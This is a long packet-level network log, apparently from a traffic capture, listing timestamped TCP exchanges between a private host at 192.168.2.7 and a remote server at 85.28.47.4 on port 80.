Jul 2, 2024 12:21:05.773158073 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.773159027 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.773190022 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.773192883 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.773221970 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.773224115 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.773253918 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.773257017 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.773284912 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.773288012 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.773317099 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.773319006 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.773349047 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.773380995 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.773387909 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.773411036 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.773412943 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.773444891 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.773451090 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.773475885 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.773480892 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.773508072 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.773511887 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.773540974 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.773542881 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.773580074 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.773663998 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.773695946 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.773708105 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.773727894 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.773732901 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.773771048 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.773781061 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.773803949 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.773806095 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.773834944 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.773835897 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.773866892 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.773869038 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.773899078 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.773921013 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.773930073 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.773941994 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.773962021 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.773988962 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.773993015 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.774005890 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.774024963 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.774028063 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.774056911 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.774087906 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.774092913 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.774121046 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.774125099 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.774153948 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.774153948 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.774219036 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.774250031 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.774255037 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.774285078 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.774292946 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.774326086 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.774327993 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.774358988 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.774359941 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.774390936 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.774393082 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.774422884 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.774425030 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.774456978 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.774472952 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.774504900 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.774508953 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.774537086 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.774540901 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.774573088 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.774626017 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.774657011 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.774662971 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.774689913 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.774693966 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.774724960 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.774780035 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.774811983 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.774818897 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.774847031 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.774847031 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.774858952 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.774879932 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.774890900 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.774909973 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.774923086 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.774941921 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.774955034 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.774980068 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.774986982 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.774990082 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.775018930 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.775038004 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.775053978 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.775067091 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.775099039 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.775130033 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.775135040 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.775166035 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.775180101 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.775208950 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.775222063 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.775239944 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.775243044 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.775271893 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.775271893 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.775305986 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.775306940 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.775319099 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.775338888 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.775353909 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.775357008 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.775415897 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.775461912 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.775492907 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.775496960 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.775525093 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.775527000 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.775557041 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.775558949 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.775588989 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.775590897 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.775620937 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.775624037 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.775654078 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.775656939 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.775685072 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.775688887 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.775717974 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.775719881 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.775751114 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.775752068 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.775783062 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.775784969 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.775815010 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.775816917 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.775846958 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.775852919 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.775880098 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.775912046 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.775914907 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.775952101 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.779311895 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.779359102 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.779462099 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.779491901 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.779496908 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.779526949 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.779541016 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.779573917 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.779575109 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.779606104 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.779606104 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.779639006 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.779640913 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.779673100 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.779686928 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.779720068 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.779726982 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.779752016 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.779757023 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.779783010 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.779814959 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.779820919 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.779846907 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.779855013 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.779879093 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.779881954 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.779912949 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.779917002 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.779951096 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.861126900 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.861190081 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.861196041 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.861231089 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.861232996 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.861268044 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.861282110 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.861337900 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.861350060 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.861368895 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.861383915 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.861391068 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.861418009 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.861419916 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.861449957 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.861454964 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.861485958 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.861502886 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.861537933 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.861552000 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.861582994 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.861586094 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.861618042 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.861624002 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.861632109 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.861654043 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.861665964 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.861670017 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.861716986 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.861735106 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.861748934 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.861752033 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.861782074 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.861784935 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.861815929 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.861816883 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.861850977 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.861854076 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.861884117 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.861885071 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.861916065 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.861918926 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.861948967 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.861953974 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.861979961 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.861983061 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.862011909 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.862013102 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.862042904 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.862046003 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.862076044 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.862081051 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.862107992 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.862138987 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.862143040 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.862170935 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.862174988 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.862202883 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.862209082 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.862231970 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.862236023 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.862265110 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.862283945 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.862301111 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.862313986 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.862346888 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.862382889 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.862382889 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.862415075 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.862420082 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.862446070 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.862451077 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.862478971 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.862489939 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.862517118 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.862524033 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.862550020 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.862550974 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.862582922 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.862586021 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.862613916 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.862622023 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.862647057 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.862663031 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.862678051 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.862679005 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.862709999 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.862730026 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.862740993 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.862746954 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.862773895 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.862787008 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.862804890 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.862808943 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.862839937 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.862854004 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.862885952 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.862885952 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.862932920 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.862934113 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.862966061 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.862968922 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.862999916 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.863002062 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.863030910 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.863035917 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.863063097 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.863065958 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.863094091 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.863097906 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.863128901 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.863127947 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.863162994 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.863610983 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.863643885 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.863652945 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.863679886 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.864168882 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.864207029 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.864219904 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.864253998 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.864255905 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.864284992 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.864288092 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.864329100 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.864331961 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.864361048 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.864363909 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.864396095 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.864412069 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.864443064 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.864448071 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.864475965 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.864515066 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.864526033 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.864557981 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.864562988 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.864590883 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.864593029 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.864624023 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.864628077 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.864658117 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.864660978 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.864691973 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.865005016 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.865036964 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.865041971 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.865082026 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.865084887 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.865134001 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.865135908 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.865185022 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.865185022 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.865216970 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.865226984 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.865252018 CEST	80	49699	85.28.47.4	192.168.2.7
